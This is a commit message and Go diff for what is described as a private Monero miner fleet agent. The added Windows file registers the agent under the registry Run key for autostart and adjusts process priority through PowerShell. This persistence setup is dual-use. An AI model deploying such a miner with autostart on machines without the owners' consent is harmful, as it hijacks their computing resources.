Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.

agent/deploy/windows.go

@@ -0,0 +1,57 @@
+package deploy
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func ConfigureAutoStart(exePath string, enabled bool) error {
+	if !enabled {
+		return removeAutoStart()
+	}
+	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
+	if err != nil {
+		return err
+	}
+	defer k.Close()
+	return k.SetStringValue("CryptoMinerAgent", exePath)
+}
+
+func removeAutoStart() error {
+	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
+	if err != nil {
+		return nil
+	}
+	defer k.Close()
+	_ = k.DeleteValue("CryptoMinerAgent")
+	return nil
+}
+
+func SetProcessPriority(priority string) error {
+	// Best-effort on Windows using PowerShell for the current process.
+	class := "BelowNormal"
+	switch priority {
+	case "idle":
+		class = "Idle"
+	case "below_normal":
+		class = "BelowNormal"
+	case "normal":
+		class = "Normal"
+	case "above_normal":
+		class = "AboveNormal"
+	case "high":
+		class = "High"
+	}
+	pid := os.Getpid()
+	cmd := exec.Command("powershell", "-NoProfile", "-Command",
+		fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
+	return cmd.Run()
+}
+
+func CurrentExecutable() (string, error) {
+	return filepath.Abs(os.Args[0])
+}